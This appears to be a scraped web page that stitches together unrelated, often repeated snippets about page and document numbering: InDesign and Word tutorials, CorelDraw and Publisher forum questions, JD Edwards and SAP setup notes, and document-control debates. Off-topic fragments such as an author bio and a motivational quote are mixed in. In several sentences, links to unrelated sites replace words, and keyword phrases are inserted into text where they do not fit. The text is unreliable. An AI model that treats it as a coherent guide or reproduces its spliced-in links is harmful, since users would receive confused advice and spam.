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First, create a numbering “list” by choosing Type > Bulleted & Numbered Lists > Define Lists. Then click New to create a new list. You can name it anything you want, but make sure the Continued Numbers across Stories is enabled:

For legal documents that you print from the JD Edwards EnterpriseOne Sales Order Management system, you must set up corresponding versions for the legal documents in the country-specific programs for the legal documents and in the Print Invoices program (R42565). A corresponding version is a version with an identical name. You set up the corresponding versions in addition to completing http://ringringpromotions.org steps to set up legal numbering and associate print templates with legal document types.

Thanks a lot Jongware, for the fast reply. I haven’t enabled “include prefix” and I haven’t enabled ‘paragraf numbering’. The ‘define sections’ is empty… but how do I ‘define sections’ – which values do I use to ‘define sections’ if I only want to see the pagenumber and no ‘1.’ in front of every pagenumber??

Select None from the Underline drop-down list. There is a big difference in leaving something blank and choosing None. Blank means that it will follow the formatting of the text. None ensures that the number will never be underlined regardless of text formatting.

The key question for version 1.1 is whether it will be released. Every change should (I say must) be approved, otherwise we are accumulating a series of unapproved changes for some future approval and release. If one does the latter, then 1.1 cannot be released and it is considered an internal interim version. To do this well requires a change/release/document control log (whatever we want to call it).

 Does anybody have an easy way to set up sequential numbering in Coreldraw? Our shop has to lay out unit number plaques for vinyl cutting and sometimes my employee has to manually type in hundreds of numbers. I’ve read all the print merge suggestions for raffle tickets and such but I need the numbers entered into an object and not during the print process. 

In this tutorial, we’ll explain how to do an easy setup in InDesign for automatically numbered raffle tickets. We will look at the handy “Data Merge Tool,” which is a great time-saver. Let’s jump into this quick tutorial!

You can also insert a page number inside existing artistic or paragraph text. If the text is located on a local layer, the page number is inserted on the current page only. If the text is located on a master layer, the page number becomes part of the master layer and appears on all pages where the master layer is visible. For more information about artistic and paragraph text, see Adding and manipulating text.

You cannot specify when a section ends. Rather, sections always continue until the next section starts. Each section can have entirely unique page numbering. It can be based on the section that preceded it, or it can arbitrarily start at any number you choose.

– Every save (or at least check-in in case you use any kind of version control or Sharepoint or such) increases the revision number (mostly automatically) resulting in a clear and uniquely identifiable document

You can click the “Rename” button in the “Master Page” button group to open the “Rename Master Page” dialog box where you can enter a new ID and description for the master page and then click the “OK” button to rename the selected master page.

To prevent page numbers from appearing on a specific page, position the insertion point anywhere on that page. Choose Format > Page > Suppress to display the Suppress dialog box (see Figure 7). Enable the Page Numbering check box, and then choose OK. A Suppress code is inserted at the top of the current page. Repeat these steps for any other pages on which you don’t want the page numbers to appear.

I am curently working on a larger projekt, where we have aprox. 4500 pcs.of furnituer designed in 4 different kind of families, generic, furnituer, furnituer systems and specialty equipment. We need to be able to asign every  pcs.of funituer a seqventual serial number, we have tried to do this using an extension with a funktion called element positionerning, but we have had no success with this tool, apparently it is taking up to much memory.

Unfortunately, InDesign isn’t exactly speedy at updating these numbers when you add a bunch of pages. But it’s not hard to duplicate and reduplicate until you have a thousand or more numbered tickets.

I agree with Robert. There is a balance between putting every meta data available in the document code and using only a sequence code / version code, which in theory is the only information relevant for extranets.

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If you try to set up a numbering scheme to do this, you will notice that your number disappears when you press ENTER to type the text or the text may seem off-center. The following exercise walks you through centering text beneath a number.

When more than one document is copied and at least one of the documents has a manually edited Document Control Number, an alert is displayed saying that the documents cannot be copied and the operation is aborted. A similar alert is displayed when copying a folder, drawer, etc., containing documents with manually edited document numbers.

I use a numbering system where the type of document and department are identified, then documents are numbered sequentially as they are created.  If I want the SQF element number, I add it to either the header or footer.

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Start writing the text for the numbers. In this case, I typed ticket “nr.” Leave any numbers out. This will be filled in by the data file. As you can see, the text box wraps around the full tickets with crop marks.

Roxane, thanks so much for your direction! Not even having document numbers hadn’t even come into thought before now. I appreciate you pointing me to focus on the who owns the documentation, the document control process and the method that they are created….it really helped me to redirect. I was caught in one of those “that’s how we’ve always done it” situations and I didn’t even realize it! The real value is the document and the importance needs to be of it’s ease of use for the persons who need it.

how to do sequential numbering in CorelDraw or is it even possible? From time to time we are required to produce items that have sequential numbering, say, from 1 to 200 for example. If it were only “one set” that would be no problem, but when it is 5, 10 or more sets then it is very time consuming.

This is like yours, just uses “V” instead of “Issue ” and “D”/”F” instead of ” Draft “/” Final ” to keep my filename a bit shorter. And then after a final version, if I make a further final version (ie a minor revision to a final document), I can make it clear it’s F02 which document numbering in word F01, whereas if I am making a draft for a new version, the major version number goes up and then I have D01 for draft.

When we design a Management System we number operational procedures. These are the procedures that are specific to say Environmental Management, but trust us it’s not the traditional numbering. They all get the same number. Yep, that’s right we might, for instance, give all the quality specific procedures that sit below the integrated top level documents the same number, all the safety procedures another number, and another number for the environmental procedures. Does that sound weird? Let’s explore the reasoning behind this.

Given your experience, what is the best way to format document names and numbers? How do you determine what to use for a ‘numbering scheme’? I worry that we implement a numbering scheme (to keep procedures and task lists in process flow order) and then somewhere down the road, we need a file between 034 and 035…then what do we do?

Never expect users to rely solely on the document numbers to locate them and make sure you provide and use search tools where possible. Ensure you teach your staff how to use whatever search facilities you have in place – these are critical to the success of your system and should be included as part of Management System training.

I want to make 300 numbered tickets for an event. The number on one side must match the number on the stub end that is given to the ticket holder. What is the best way to set up a document to do this without having to manually enter 300 numbers?

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If you try to set up a numbering scheme to do this, you will notice that your number disappears when you press ENTER to type the text or the text may seem off-center. The following exercise walks you through centering text beneath a number.

I’m trying to figure out how to allow the page number to show in front of a placed image on the page in the background. I can’t find a way to make the page number come to the front. Half my page numbers are missing because of images placed.

Some organizations work with large and complex documents that need to be tightly controlled. With Document Control numbers, you can assign a specific number to a document and use it throughout its lifecycle. This field can ensure a unique document control number is assigned to a each new document added under a schema. Document Control Numbers are mandatory, meaning they must be entered or created when adding a document to the system. Each Document Control Field has a prefix which must be different from all other Document Control prefixes. This ensures that each Document Control Number is unique across the entire library.

I like keep all changes, and not approving them, because the revision history is important when trying to understand ‘why’… or you can start tracking all the decisions (there seem to be more decisions than requirements).

            To access the header and footer in your selected master page, click the “Show Header/Footer” button in the “Header & Footer” button group. This places your insertion marker at the left edge of the header or footer each time you click this button. You can then use the “Tab” key on your keyboard to move to the center or right tab within the header or footer, if desired. Once your insertion marker is at the desired location, click the “Insert Page Number” button in the “Header & Footer” button group to insert a page number into the text box. You can also click the “Insert Date” or “Insert Time” buttons in the “Header & Footer” button group to insert date or time stamps into the text box at the indicated locations. You can also simply type your own custom header and footer information, if desired. Once you have entered your custom header and footer information, click into the page area to quit editing the headers and footers.

Microsoft Word is a good choice for writing long documents, letters, articles and reports. It is capable of creating complex layouts for newsletters and similar documents, but Publisher is a better tool for this.

I tried this and it worked except the proceeding page numbers didn’t change to reflect the deleted ones. Therefore, the page that I want to be #1 is now #4…is there any way to get it to automatically number after this? I’ve heard of the ability to make a new section…I’m not exactly sure how to make that work (I’ve failed when I’ve tried because it inserts an extra page and screws everything up) or if that’s what I need to do here.

The ability to apply formatting with the Selection tools is very powerful, but it’s also slightly dangerous. Let’s say you set a single character to Zapf Dingbats somewhere in your text frame. If you select the text frame using the Selection tool and then apply a new font, every character—including that dingbat—gets changed.

Most of us have experience using the Adobe Suite, but how much do you know about InDesign? This powerful program has an entire host of features that you wont find in Illustrator or Photoshop, it’s for this reason that it has remained one of the most popular programs for graphic design and typography. The thought of learning InDesign may seem daunting to some, but there’s some really useful functions that are easy to learn and will save you hours of work. In this tutorial you will gain experience working http://sl-inworld.com the page palette and special characters to make a basic page numbering system. You will also learn a few shortcuts that will help you work faster with InDesign.

You will now see a “Catalog Merge Area”. You’ll be able to enter anything in here — plus the data fields we created in the Excel document previously. This area is duplicated automatically 8 times per page (because my example is 2×4)!

Ok so picking it apart a bit more; would anyone believe it good practice to only refer to a document number in text rather than quoting the title too? We think not. As we’ve already said it’s too easy to make a mistake if you only quote a document number and even if you get it right can you imagine what a nightmare a document would be if it read something like this “Using P65 carry out the TM7 and record it on F12 ensuring compliance with P67 at all times”. Ridiculous! Users would have to sit there with the document index open to make any sense of it. So again the name of the document is critical, the number much less so.

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There you have it, how to easily number pages in an InDesign document. Once you learn this feature you will love it. Auto numbering takes the stress out of proof reading and editing documents later and will leave you with more time for the things you do best… creating!

WordTips is your source for cost-effective Microsoft Word training. (Microsoft Word is the most popular word processing software in the world.) This tip (1492) applies to Microsoft Word 97, 2000, 2002, and 2003. You can find a version of this tip for the ribbon interface of Word (Word 2007 and later) here: Sequentially Numbered Labels.

I completely understand the desire to make it look logical and sequential and user/auditor-friendly. And at first, the numbering system seems ideal. As others have pointed out – and as you’ve realized – things change, organizations evolve and so too does the documentation. Rather than become caught up in the numbering, focus on who owns the documentation, the document control process and the method by which documents are created as new processes come into play.

In the Pages panel, double-click the section indicator icon  that appears above the page icon in the Pages panel. Or, select a page that uses a section marker, and choose Numbering & Section Options in the Pages panel menu.

Document Numbering System – Normally in the EPC Projects, there are several agencies that work. These agencies may includes Vendors, Contractors and Owners. An agency as Vendor – works on several projects concurrently and may have his own document numbering methodologies in his organization. Same is the case with the contractor. 

I have followed all the instructions to make my list and gave it a descriptive name (as per step two), but now I can’t actually find the list style it anywhere – the dropdown multi level list library shows all the defaults, but not my newly created list. Where am I going wrong?

You use the Issue Place program (P7400004) to set up codes to represent the locations where legal documents are issued. For example, if the company issues documents from a general office and from a warehouse, you set up codes to represent each of these locations. You do not need to set up issue places unless you issue legal documents from more than one location.

Another noteworthy point is that incase you are trying to apply a uniqueness constraint on the project document numbering scheme, you have to be prepared to live with the fact that there will be holes (Some numbers initially used – but later the documents were dropped) in the final set of documents that you will get. For example – it is possible to have a case where after the document number DOC-1 you may at the end of the project get a document with document number DOC-3 with document with document number DOC-2, initially was there but perhaps was dropped during the subsequent development.

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JD Edwards EnterpriseOne software provides hard-coded values for UDC 74/NC. If you select L (legal document type) when you set up legal document types, you must provide additional information for the legal document type. Values are:

I think however you organize your system is fine, as long as you’re able to explain the reasoning behind it, especially when a new policy/procedure/work instruction is created (or if an auditor asks).

Note: This post explains how to handle the numbering when working with chapters in a book file. If you are working with sections within a single file, substitute ^1 for the ^H and http://ringringpromotions.org with ^1, ^1.^2, ^1.^2.^3 instead ^H, ^H.^1, ^H.^1.^2.

All of the information you see on the image is actually part of it except for the image number,which is put there by your browser.What I’d like to be able to do is have that image number actually as part of the image and NOT seperate,so if someone saves it they still have that number visible.

The system displays in an SAP List Viewer (ALV) list the documents whose alternative reference numbers have errors. Note that if you have selected to renumber all documents, the system includes all documents from the selected periods in the ALV list.

Manually type in the delimiter (the period in this case) in “Enter formatting for number,” Then click on “Number style for this level”.  Select the desired format for Heading 2.  I use number.number, but you can use any other format.

Understanding outline numbering and how outline numbering interacts with styles is crucial to your success in using Word with legal documents. Basic outline numbering can be handled much the same way as bullets and numbering. Seven default outline numbered lists come with Word. Three of the lists format the paragraphs with outline numbers. These lists are in the top row of the dialog box. The remaining four format the paragraphs with outline numbers and apply heading styles to the paragraphs and can be found in the bottom row.

CK Note: I strongly recommend reading the following article. It may save your sanity (or at least your job). See Word’s Numbering Explained by John McGhie. Somewhat easier reading and still very useful are Shauna Kelly’s articles (see above) on outline numbering and bullets.

A single InDesign document can contain up to 9,999 pages, but page numbers can be as large as 999,999. (For example, you can correctly number a 100‑page document that starts on page 9,949.) By default, the first page is a recto (right) page numbered 1. Odd-numbered pages always appear on the right; if you use the Section Options command to change the first page number to an even number, the first page becomes a verso (left) page.

            To customize a master page in Publisher, first select it in the Navigation Pane. You can then add any default content you want show in your publication pages into the selected master page. This is a great place to add building block content you want to have displayed on your pages. You can also apply any other design items you want to apply to publication pages within the selected master page. Content within a master page is not editable within the publication pages to which the master page is applied. However, it is an excellent place to insert content that will not change. This includes page numbers, design elements, and custom header and footer information.

Can anyone please explain, if it is possible, using Microsoft Publisher office XP, to number a slide show, of still photographs, by “automatic sequential numbering “, rather than numbering each slide individually. Thanks in anticipation !

I’ve been given the task of numbering our blueprint files (.tif format). I need to add around 800 ballooned numbers to each drawing at specific locations. These are just numbers with a circle around it.

Back in the “Master Page” button group, you can click the “Two Page Master” button to switch the currently selected master page between a two-page and one-page layout. If you click this button when you have a two-page master page selected, Publisher will warn you that all objects on the left master page will be deleted and replaced by the objects on the right master page. You will need to click the “OK” button in the confirmation dialog box to continue.

“Will this be on the test?” “Yeah, about the test. The test will measure whether you are an informed, engaged, and productive citizen of the world, and it will take place in schools and bars and hospitals and dorm rooms and in places of worship. You will be tested on first dates, in job interviews, while watching football, and while scrolling through your Twitter feed. The test will judge your ability to think about things other than celebrity marriages, whether you’ll be easily persuaded by empty political rhetoric, and whether you’ll be able to place your life and your community in a broader context. The test will last your entire life, and it will be comprised of the millions of decisions, that when taken together, make your life yours. And everything — EVERYTHING — will be on it.”

To quickly navigate to page 1, click Command J, type “1” in the dialogue box that pops up, click “OK.” To zoom out to see multiple pages like this screenshot, keep clicking Command – until you can see several pages.

With more than 50 non-fiction books and numerous magazine articles to his credit, Allen Wyatt is an internationally recognized author. He  is president of Sharon Parq Associates, a computer and publishing services company. Learn more about Allen…

Imagine a book that has typical numbering, but then has three collections of supplemental materials labeled Appendices A, B, and C. Pages in these appendices are to be numbered A-1, A-2, A-3, etc. and restart at 1 for each Appendix.

The previous macro is useful in a template for creating invoices, orders, certificates etc, but you may want to increment a number in a document each time it is opened. One way to do this is to increment a document variable each time the document is opened and display that number in a docvariable field.

MS version numbers change based on the user ID. Change your name, and you automatically get a new color, and MS word even thinks you’re a new author, so you can turn on/off updates for each revision, as you wish. I find this way more useful than maintaining a color scheme yourself. Just approve all changes in the document after each approved version. You can use the convention ‘Issue 3 Draft A-NP’ (NP are my initials) or NP-Issue 3 Draft A.

JD Edwards EnterpriseOne software provides hard-coded values for UDC 70/CI. You use these values when you set up document types in the Legal Document Types program (P7400002). Verify that these values exist in your system:

In this example, I will create a set of plates that will be put on each classroom door in a local high school. All plates will have the same logo, but each plate will have a different classroom number and subject.

In the Replace control, enter the keys you’ll press to insert the field. You’ll want to choose a key sequence you won’t use (or seldom use). I used 1} as shown in Figure H. Those two keys might be easy to remember when linked to a reset SEQ field. (At least, I think so.)

In this video, I demonstrate how to generate a new number in sequence starting from whatever number you want. This would work for invoices, tickets, and other documents where numbers needed to be tracked. There is a text file that tracks the number that can be stored on a network if multiple people need to have access to the document.

Most of us have experience using the Adobe Suite, but how much do you know about InDesign? This powerful program has an entire host of features that you wont find in Illustrator or Photoshop, it’s for this reason that it has remained one of the most popular programs for graphic design and typography. The thought of learning InDesign may seem daunting to some, but there’s some really useful functions that are easy to learn and will save you hours of work. In this tutorial you will gain experience working with the page palette and special characters to make a basic page numbering system. You will also learn a few shortcuts that will help you work faster with InDesign.

Is there any way I can get PS to do this automatically for me,so I either specify the starting number,or it actually takes the file name (minus the extension,so no JPEG etc after it)and adds this text to the watermark layer while I put the kettle on?

Word templates are wonderful things. Microsoft, and hundreds of other people, have created some great free templates for almost everything. With these free templates you can make beautiful flowcharts How to Create Stunning Flowcharts With Microsoft Word How to Create Stunning Flowcharts With Microsoft Word Used with imagination, flowcharts can simplify both your work or life. Why not try out a few flowcharts with one of the easiest tools on hand – Microsoft Word. Read More , professional resumes How to Create a Resume Template with Microsoft Word How to Create a Resume Template with Microsoft Word Your resume could be the difference between interviewing for the job of your dreams or never hearing back from the employer — use these tips to make sure it’s the best it can be. Read More , and custom calendars 10+ Sites To Find The Perfect Free Printable Calendar Template All Year Long 10+ Sites To Find The Perfect Free Printable Calendar Template All Year Long You can never have enough reminders that your most valuable personal resource is limited. Our selection of printable weekly, monthly, and yearly calendars will help you manage your time wisely. Read More in minutes. A custom calendar might be a good fundraiser, too!

Page numbers are artistic text objects (unless you insert them in paragraph text) that can be modified and manipulated like any other artistic text object. For example, you can resize, scale, or rotate a page number, change its color, or apply effects such as texture fill or a drop shadow.

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Imagine a book with title page, copyright page, neither shows page number but should be counted in front matter, TOC is 4 pages, then preface is 3 pages, then need a blank page so that book can properly start on the right.

Ole’s tale: “Late night. The pale glow from the monochrome monitor of my Compugraphic phototypesetter. The smell of the office standard ‘French Vanilla’ coffee—warming, now, for several hours and resembling nothing so much as battery acid. The gentle snoring of one of the staff writers, who is curled up in the warmth of the unit that holds filmstrips containing the fonts I’m using to set his story.

Quick Correct Language change not working! Am in UK using British PC. In short: I selected American English for Quick Correct (and saved that as my default), but CorelDraw X5 is still underlining in red…

In many cases, when you switch to a different numbering format, you want to restart the page numbering at the same time. To restart page numbering, position the insertion point, choose Format > Page > Numbering, and then click the Set Value button to open theValues dialog box (see Figure 3). Notice that you can use this dialog box to restart numbering for pages, chapters, volumes, and secondary pages. Type the new page number in the Set Page Number text box, and choose OK.

@TimK: No, I don’t think so. You could perhaps use Conditional Text and Smart Text Reflow to “turn on and off” each white paper, so that the length of the document would change on the fly, based on which condition was visible.

Legal Document Types/Document Types Relationship Revision W7400003B Click Add on the Work with Legal Document Types/Document Types Relationship form. Associate legal document types with document types.

Check the Restart Numbering After option, if you want sublevel numbers to start at 1. In most cases, you’ll want to set the After option to the previous heading, as shown in Figure F. Doing so forces Word to start renumbering Heading 2 paragraphs after each new Heading 1 paragraph. In other words, when Heading 1 updates to 2, the sublevel number will start over at 1, generating 2.1, 2.2, 2.3, and so on.

Note  When you customize a number scheme, Word replaces the original numbering scheme in the Numbered tab of the Bullets and Numbering dialog box. To return to Word’s default numbering schemes, click Reset.

Note  The “Rog” in this example is the name of the Interrogatory numbering scheme. This name will keep this numbering scheme unique from any other schemes that may be running in the document. See Tip below for more information.

We just started using X6 here at work, we were using X3. In X3 I never had a problem with page dimensions, with X6 anytime I go 200″ or more in either dimension I get blank PDFs. 199″ by 199″ works just fine.

In this tutorial, we’ll explain how to do an easy setup in InDesign for automatically numbered raffle tickets. We will look at the handy “Data Merge Tool,” which is a great time-saver. Let’s jump into this quick tutorial!

In a ISO 9001 certified company/organisation this should not be an issue (versioning) – while system procedure Document control (as required by ISO 9001) states how documents are held under control. including versioning, changes etc.

So version 1.0 gets updated to version 1.1, and maybe version 1.2, and so on. But at this point it’s never clear (to me at least) whether version 1.1 is a draft for approval or an approved update to version 1.1. In order to be sure, I have to open the document and check the version history, and even then, authors are sometimes not rigorous enough to state explicitly whether the document amendment is signed off or not.

JD Edwards EnterpriseOne software provides hard-coded values for UDC 74/VC. The system uses the values in this UDC to associate legal document types with document types when you use the Legal Documents Types/Document Types Relationships program (P7400003). Verify that these values exist in the system:

For InDesign tips and information regarding industry updates, visit our blog and sign up for our informative newsletters. Want to learn even more? Check out all our best-selling handbooks, apps, and our new e-book: Building Apps with Adobe Experience Manager Mobile, available on Amazon.

I’m trying to skip a couple numbers in the sequence. Is there an easy way to do that? I’m building an auction catalog with over 830 items but some of them aren’t going to be listed in the catalog. Is it just easier to restart numbering at that point? Thank you!

The way we worked it with versioning for files away from SharePoint, is two ways. Anyone who had a stake in the document had access the SharePoint, so they changed the file there. The other way was to have one person own the document and have the changes forwarded to them. They both work!

Version control is one of the most critical elements of a document management system because it ensure users always have access to the most current version of a company document. This feature alone can cost justify the implementation of a document management system as it eliminates duplication of work and allows users to share the most current information on matters such as company policies or contracts.

The software has a very flexible and user configurable design to accommodate different industries that have different requirements for numbering schemes.  The purpose of this white paper is to help describe all the ways the document management software can help solve the business problem of uniquely numbering and Versioning documents.

Zoom into the tickets where you have placed the text for the numbering and click on the data merge palette. This should be open already since we already called in the data file in Step 11. Place the text cursor behind the last letter of your text. Then click on the text data file (100.txt) in the Data Merge Palette.

MacroView UDN ensures that the Document Reference (e.g. in the footer) is always up-to-date. Even newly saved documents will contain a correct document reference.  You can retrieve a document from SharePoint and insert it as an attachment or link in an outgoing email, confident that the person receiving the document will be able to identify it accurately and know what version it is at.  The MacroView DMF can assist further in this regard by automatically updating the file name of attachments so that they contain their unique Document ID and / or Version Number.

Ok so picking it apart a bit more; would anyone believe it good practice to only refer to a document number in text rather than quoting the title too? We think not. As we’ve already said it’s too easy to make a mistake if you only quote a document number and even if you get it right can you imagine what a nightmare a document would be if it read something like this “Using P65 carry out the TM7 and record it on F12 ensuring compliance with P67 at all times”. Ridiculous! Users would have to sit there with the document index open to make any sense of it. So again the name of the document is critical, the number much less so.

@Tony, do you track how each Draft was updated in the document? I can see how it’s important during the review cycle (“Hey, what changed since I last looked at your document? Were my comments incorporated?”)…but once approved, the revision history for the ‘Issue Approved’ (changes since last approved version) is more important than the draft.

Inline Title: You can use the list type ”Numbers” to set up a paragraph without a number in the format and write any text. This text will appear at the beginning of any paragraph where this paragraph style is used. Only line breaks and hyphenation will not be possible with this ”Number Text”.

With more than 50 non-fiction books and numerous magazine articles to his credit, Allen Wyatt is an internationally recognized author. He  is president of Sharon Parq Associates, a computer and publishing services company. Learn more about Allen…

If a runtime error happens when you run the program, the numbering data that is being processed might be locked. Further data posting or processing is not allowed. To unlock the data, access lock management on the SAP Easy Access screen under  Administration System Administration Monitor Lock Entries . You can also access lock management by starting transaction SM12.

In a Publisher 2007 document, can someone tell me how to remove page numbers from a specific page or pages? For example, if a document has 4 pages, and I want it to automatically insert page numbers, but only on pages 1 and 4, how would I remove the numbering from the other pages?

I’ve been given the task of numbering our blueprint files (.tif format). I need to add around 800 ballooned numbers to each drawing at specific locations. These are just numbers with a circle around it.

Number Pro is an easy application that lets you create a data file that easily integrates with InDesign, Corel Draw, Microsoft  Word, and Publisher. Raffle ticket numbering, multi-part forms, documents etc., using the data merge or mail merge aspects of these various software applications. Number with ease and print on your home or office printer.

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To get the documents in your Book file in the right order, simply select a document and drag it up or down to the correct position. And setting up automatic page numbering is explained below. Remember to save your Book file (see Step 3 above) after you make any changes.

Given your experience, what is the best way to format document names and numbers? How do you determine what to use for a ‘numbering scheme’? I worry that we implement a numbering scheme (to keep procedures and task lists in process flow order) and then somewhere down the road, we need a file between 034 and 035…then what do we do?

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In the resulting window, update  the”Name” field to something descriptive.  Or, to use keyboard shortcuts, Alt + N.  For single-key shortcuts, from this point forward, it will be assumed they are discoverable from the UI.  Example, here I use “Multilevel Heading”

The last two companies that I have worked for have used SharePoint for versioning the documents. This works quite well as it is auto versioning, so you don’t have to change the title. You can also access any version before to get back to an original question about something that has been changed.

The background image has a size of 22p5 by 5p6. You can choose any size as long as it fits onto your page. To fit the Rectangle Frame to the background image, select the Option + Command + C. This fits the frame to the content.

Which reminds me – is there a way to insert a document into another? I’ve been opening my template, copying it, and then pasting it at the end of the previous case. I’d rather just bring it in directly.

Those users also expect that the unique Document ID and other key reference details (such as current Version Number) should automatically be displayed in documents that are opened from SharePoint into Microsoft Office applications such as Word, Excel and PowerPoint.  A typical requirement is for a Document Reference comprised of unique Document ID and current Version Number to be displayed in the footer, although the Document Reference should also be available for display in other parts of the document.

Starting with X4, I had been using the macro collection “wx_showLayer.gms” found here: URL…. The most useful of those macros is one that automatically makes the layer a newly selected object is on the currently active layer, rigt upon clicking the object. Working with layers a lot, I got pretty much used to that feature; keeping copies of objects on the same layer, for example, can be achieved blindly this way.

Drag a horizontal and vertical guide onto the page. Set them both to 1p6 (18pt). To align them select the guide with the selection Tool (V) and type the number into the X and Y tab. This will ensure that the guides are set to the exact number.

This is where the Book feature really shines! Instead of having to create a PDF of each document within your Book file and combining them into a single PDF in Acrobat, the Book feature allows you to create a PDF of some or all of the documents in your Book file.

If the list you want is as simple as “1”, “2”, “3”, you’ll appreciate how easy it is to apply this type of numbering in legal documents. Simple numbered lists are different in Word 2000 than they were in Word 97. In Word 2000, the default for even the most basic list is multi-level. For example, if you number an item and press Enter and then press the TAB key, Word automatically formats this number as the second level in an outline numbered list format. Single and multi-level numbering are explained later in this chapter.

Many times we have a list that contains items that need to be referenced elsewhere in a document, or just to be numbered. We can number a list or even all the paragraphs that we have in a document. All we have to do is to follow the steps below.

i don’t think it has anything to do with memory , i have a full drive laptop is new. my thoughts are that corel draw will not open a file that size, and you are right about  breaking it up i should have worked  in several sheets but saved them desperately.

timdunn you just saved my life and my job. Why is this so hard and totally disconnected from how to set up Heading styles through the Styles options? I don’t remember it being this hard in previous versions of Word. I wasted hours and hours today banging my head against a brick wall. Thanks so much for you helpful guidance and instructions. Lifesaver.

Correct publication design can sometimes come down to a matter of inches or centimeters. Microsoft Publisher, in addition to its margin, row, column, baseline, and boundary guides, displays a horizontal and vertical ruler to show the dimensions of your publication and position of your cursor and also to serve as guides for placing text and graphics on each publication page. You can display, hide, or move the rulers or their origin points. Following are instructions in how to use rulers in Microsoft Publisher 2003, 2007, and 2010.

It’s also possible to consecutively number list items in InDesign. Create a text document numbering in word for your list and click the numbered list button to insert a list. Type your list items, pressing your “Enter” key between items. InDesign consecutively numbers the list automatically; you can change the number it begins with and the style of the numerals. Press your “Alt” key (Windows) or “Option” key (Mac OS) while clicking on the numbered list button to open a dialog where you can modify those options.

To add page numbers, open your Word document and click the Insert tab on the Ribbon and select Page Number. From here select where you want the page numbers to appear in the document and choose from the gallery of page number formats.

Interestingly, resetting the page numbering also works when calculating total number of pages, whereby the total is from the section, not the entire document, even though the NumPages field is used instead of SectionPages! Go figure, but it worked for me.

When you choose a numbering format or use Word’s default, it not only provides you with numbering settings (1,2,3 or A,B,C, etc), you also receive other formatting as well such as indents and tabs. In order to satisfy different user’s styles of numbering, you may need to customize the list accordingly.

Create an Excel worksheet that has as many numbers in it as you need. For instance, if you need 175 labels, you would place a title in cell A1 (such as “Number”) and the 175 numbers you need in cells A2 through A176. Make sure you save the workbook.

By default, the Running Header variables insert the first occurrence (on the page) of the text to which the specified style is applied. Running Header variables are especially useful for displaying the current heading or title in the header or footer.

Hello, and thanks for visiting my Tumblr! My name is Toby, and I am a consultant with Accenture Enkitec Group, an Oracle partner headquartered in Irving, Texas specializing in DBA services and Exadata implementations. I have worked as an Oracle developer-consultant for 17 years in the Dallas/Ft. Worth area. In this blog I hope to share some of my experiences, perspectives, and solutions to problems I have encountered at the various places I have worked.

In an early planning meeting, someone on a project we’re working on requested a 65 digit number for a document! This code wasn’t just numbers, it included letters and symbols as well. There’s no doubt that this system was super-organized, but is it practical? It’s worth remembering that the doc number has to be understood by everyone, including external suppliers and subcontractors. Plus the longer the number, the greater the risk of human error.

First of all, links that should be refreshed are recognised by their display text starting with “page ” (LIKE “page *”). The refresh macro simply recognizes those links and changes their display text to page X. However, this doesn’t work for links to bookmarks, which in the object model seem to behave like links to pages, except the pageID they refer to does not exist. I spent quite a while trying to figure out what the relationship might be between this non-existent hyperlink and the bookmark, but to no avail. Instead I’ve created a workaround in which you manually link the hyperlink and the bookmark with a tag object (creating a tag for the bookmark with the value of the non-existent page ID of the hyperlink).

Law firms use numbered lists daily to prepare contracts, pleadings, letters and memos. Word makes activating and customizing numbering fairly straightforward. You can create simple numbered lists, such as A, B, C and 1, 2, 3. You can also customize these lists to setup specific numbering styles for your firm and practice group. Multilevel lists such as I, A, 1 are handled through Word’s Outline Numbering feature, which is explained later in this chapter. Many firms rely on outline numbered lists to draw up contracts and pleadings. Like numbered lists, outline numbered lists can be customized.

Fionia LeChat is a technical writer whose major skill sets include the MS Office Suite (Word, PowerPoint, Excel, Publisher), Photoshop, Paint, desktop publishing, design and graphics. LeChat has a Master of Science in technical writing, a Master of Arts in public relations and communications and a Bachelor of Arts in writing/English.

Did the cited author ever respond to permit re-post?  I would find this knowledge quite helpful, but because my corporate firewall blocks blogging domains (yes, really) I cannot reach his site — only yours.

Though it may seem complex, if you begin a coding system that you’re comfortable with, you will discover after a short period of time that the codes can be easily remembered and you will not need a coding sheet each time that you code a document.

I would like to restore the elided content, but will not do so as long as you feel this is somehow a copy.  However, if you do feel this way, I am curious on what grounds you feel it is indeed a copy.

That’s why it’s useful to have MS Word start numbering your document from a specific page. Even though it might sound hard to accomplish, it is actually quite simple and can be done in less than a minute.

It works on entirely similar principles to the process to insert a single number, except that it sends the requested number of numbered copies to the printer. There is an option to store the last used number of the batch so the sequence may be continued.

To apply the master page with the automatic numbering to the document pages, go to the Page panel. Apply a master page to a single page by dragging the master page icon to a page icon in the Pages panel. When a black rectangle surrounds the page, release the mouse button. 

            To access the header and footer in your selected master page, click the “Show Header/Footer” button in the “Header & Footer” button group. This places your insertion marker at the left edge of the header or footer each time you click this button. You can then use the “Tab” key on your keyboard to move to the center or right tab within the header or footer, if desired. Once your insertion marker is at the desired location, click the “Insert Page Number” button in the “Header & Footer” button group to insert a page number into the text box. You can also click the “Insert Date” or “Insert Time” buttons in the “Header & Footer” button group to insert date or time stamps into the text box at the indicated locations. You can also simply type your own custom header and footer information, if desired. Once you have entered your custom header and footer information, click into the page area to quit editing the headers and footers.

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Similarly the Version number is updated when a document arrives back in SharePoint after being checked in, so the version details shown by an embedded field code tend to lag the actual version number.

You’ll be gathering several InDesign documents into one Book file to create a book. If you’re just getting started on your chapters, it’s best to design one of your more complex chapters first, then use that chapter as a template for all the remaining ones (i.e., “Save As” Chapter 1, delete all the original chapter’s text, place the Chapter 1 text, and thereby leave the trim size, margins, and styles intact and consistent among all chapters).

There’s an old Steve Martin joke about how to make a million dollars which starts, “First, get a million dollars…” That’s the key to this trick, too: First, get a bunch of numbers. Here’s a file with 1,197 numbers in it. Now import or paste those numbers into a thread so that the numbers appear in the right place. If you need two matching numbers, just import it twice.

Note: This sets the numbering format for all pages in the current section. A publication always has one section by default. If no other sections have been inserted, the numbering format will apply to all pages in the publication.

Looks like it works only for one line message, and does not work if my label contains 2 lines, e.g. the 1st line says Trade Show items, the 2nd line says carton number 1 of 30; 2 of 30. Also can I centre it vertically?

Do you know how a amend the style/baseline when to autopages. Currently it just keeps it all on the same line. So cna only think of having to add in the pages numbers by hand which I would like to avoid.

This is amazing. I do not understand why Word does not have an easier way to do this, and does not give you their own directions.  My boss wants me to fix the numbered styles in the document and you saved me.

